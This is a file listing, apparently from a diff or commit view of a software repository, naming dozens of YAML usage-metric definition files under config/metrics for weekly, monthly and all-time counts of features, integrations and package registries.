-rw-r--r--config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml2
-rw-r--r--config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml2
-rw-r--r--config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml2
-rw-r--r--config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml2
-rw-r--r--config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml21
-rw-r--r--config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml21
-rw-r--r--config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml20
-rw-r--r--config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml20
-rw-r--r--config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml20
-rw-r--r--config/metrics/counts_28d/20210520111133_total.yml20
-rw-r--r--config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml5
-rw-r--r--config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml20
-rw-r--r--config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml3
-rw-r--r--config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml2
-rw-r--r--config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml2
-rw-r--r--config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml2
-rw-r--r--config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml21
-rw-r--r--config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml21
-rw-r--r--config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml20
-rw-r--r--config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml20
-rw-r--r--config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml19
-rw-r--r--config/metrics/counts_all/20210216174826_ldap_users.yml19
-rw-r--r--config/metrics/counts_all/20210216174832_cycle_analytics_views.yml8
-rw-r--r--config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml5
-rw-r--r--config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml5
-rw-r--r--config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml1
-rw-r--r--config/metrics/counts_all/20210216175026_service_desk_issues.yml1
-rw-r--r--config/metrics/counts_all/20210216175028_requirements_created.yml16
-rw-r--r--config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml3
-rw-r--r--config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml3
-rw-r--r--config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml3
-rw-r--r--config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml3
-rw-r--r--config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml3
-rw-r--r--config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml3
-rw-r--r--config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml3
-rw-r--r--config/metrics/counts_all/20210216175510_ci_builds.yml2
-rw-r--r--config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml2
-rw-r--r--config/metrics/counts_all/20210216175514_ci_external_pipelines.yml2
-rw-r--r--config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml2
-rw-r--r--config/metrics/counts_all/20210216175520_ci_runners.yml2
-rw-r--r--config/metrics/counts_all/20210216175521_ci_triggers.yml2
-rw-r--r--config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml2
-rw-r--r--config/metrics/counts_all/20210216175525_ci_builds.yml2
-rw-r--r--config/metrics/counts_all/20210216175527_ci_external_pipelines.yml2
-rw-r--r--config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml2
-rw-r--r--config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml2
-rw-r--r--config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml2
-rw-r--r--config/metrics/counts_all/20210216175537_ci_pipelines.yml2
-rw-r--r--config/metrics/counts_all/20210216175539_ci_triggers.yml2
-rw-r--r--config/metrics/counts_all/20210216175623_projects_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175625_groups_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175627_templates_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175628_instances_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175634_projects_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175636_groups_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175638_templates_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175640_instances_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175645_projects_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175647_groups_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175649_templates_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175651_instances_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175708_projects_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175710_groups_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175712_templates_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175714_instances_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175719_projects_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175721_groups_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175723_templates_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175725_instances_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175731_projects_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175733_groups_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175734_templates_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175736_instances_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175753_projects_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175755_groups_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175756_templates_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175758_instances_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175837_projects_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175839_groups_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175840_templates_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175842_instances_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175848_projects_github_active.yml19
-rw-r--r--config/metrics/counts_all/20210216175850_groups_github_active.yml19
-rw-r--r--config/metrics/counts_all/20210216175851_templates_github_active.yml19
-rw-r--r--config/metrics/counts_all/20210216175853_instances_github_active.yml19
-rw-r--r--config/metrics/counts_all/20210216175855_projects_inheriting_github_active.yml19
-rw-r--r--config/metrics/counts_all/20210216175857_groups_inheriting_github_active.yml19
-rw-r--r--config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175910_projects_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175912_groups_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175913_templates_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175915_instances_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175921_projects_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175923_groups_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175924_templates_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175926_instances_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175932_projects_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175934_groups_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175935_templates_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175937_instances_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175943_projects_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175945_groups_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175946_templates_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175948_instances_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175954_projects_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175956_groups_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175957_templates_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175959_instances_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180027_projects_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180029_groups_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180030_templates_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180032_instances_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180100_projects_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180102_groups_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180104_templates_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180105_instances_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180111_projects_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180113_groups_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180115_templates_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180116_instances_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180122_projects_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180124_groups_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180126_templates_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180127_instances_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180144_projects_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180146_groups_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180148_templates_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180149_instances_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180217_projects_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180219_groups_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180221_templates_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180223_instances_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180228_projects_jira_server_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180239_personal_snippets.yml3
-rw-r--r--config/metrics/counts_all/20210216180241_project_snippets.yml3
-rw-r--r--config/metrics/counts_all/20210216180242_web_ide_commits.yml5
-rw-r--r--config/metrics/counts_all/20210216180244_web_ide_views.yml5
-rw-r--r--config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml5
-rw-r--r--config/metrics/counts_all/20210216180248_web_ide_previews.yml5
-rw-r--r--config/metrics/counts_all/20210216180250_web_ide_terminals.yml5
-rw-r--r--config/metrics/counts_all/20210216180252_web_ide_pipelines.yml5
-rw-r--r--config/metrics/counts_all/20210216180253_snippet_comment.yml3
-rw-r--r--config/metrics/counts_all/20210216180255_snippet_create.yml3
-rw-r--r--config/metrics/counts_all/20210216180257_snippet_update.yml3
-rw-r--r--config/metrics/counts_all/20210216180259_static_site_editor_views.yml5
-rw-r--r--config/metrics/counts_all/20210216180301_static_site_editor_commits.yml8
-rw-r--r--config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml6
-rw-r--r--config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml5
-rw-r--r--config/metrics/counts_all/20210216180306_snippets.yml1
-rw-r--r--config/metrics/counts_all/20210216180316_snippets.yml6
-rw-r--r--config/metrics/counts_all/20210216180453_projects_creating_incidents.yml2
-rw-r--r--config/metrics/counts_all/20210216180638_gitlab_project.yml6
-rw-r--r--config/metrics/counts_all/20210216180639_gitlab.yml6
-rw-r--r--config/metrics/counts_all/20210216180641_github.yml6
-rw-r--r--config/metrics/counts_all/20210216180643_bitbucket.yml6
-rw-r--r--config/metrics/counts_all/20210216180645_bitbucket_server.yml6
-rw-r--r--config/metrics/counts_all/20210216180647_gitea.yml6
-rw-r--r--config/metrics/counts_all/20210216180649_git.yml6
-rw-r--r--config/metrics/counts_all/20210216180650_manifest.yml6
-rw-r--r--config/metrics/counts_all/20210216180652_gitlab_migration.yml6
-rw-r--r--config/metrics/counts_all/20210216180734_wiki_pages_create.yml10
-rw-r--r--config/metrics/counts_all/20210216180736_wiki_pages_update.yml10
-rw-r--r--config/metrics/counts_all/20210216180738_wiki_pages_delete.yml10
-rw-r--r--config/metrics/counts_all/20210216180740_design_management_designs_create.yml12
-rw-r--r--config/metrics/counts_all/20210216180741_design_management_designs_update.yml12
-rw-r--r--config/metrics/counts_all/20210216180743_design_management_designs_delete.yml12
-rw-r--r--config/metrics/counts_all/20210216180750_groups.yml5
-rw-r--r--config/metrics/counts_all/20210216180752_keys.yml10
-rw-r--r--config/metrics/counts_all/20210216180756_groups.yml14
-rw-r--r--config/metrics/counts_all/20210216180758_users_created.yml12
-rw-r--r--config/metrics/counts_all/20210216180800_ldap_keys.yml16
-rw-r--r--config/metrics/counts_all/20210216180801_ldap_users.yml16
-rw-r--r--config/metrics/counts_all/20210216181009_lfs_objects.yml4
-rw-r--r--config/metrics/counts_all/20210216181011_projects_with_packages.yml11
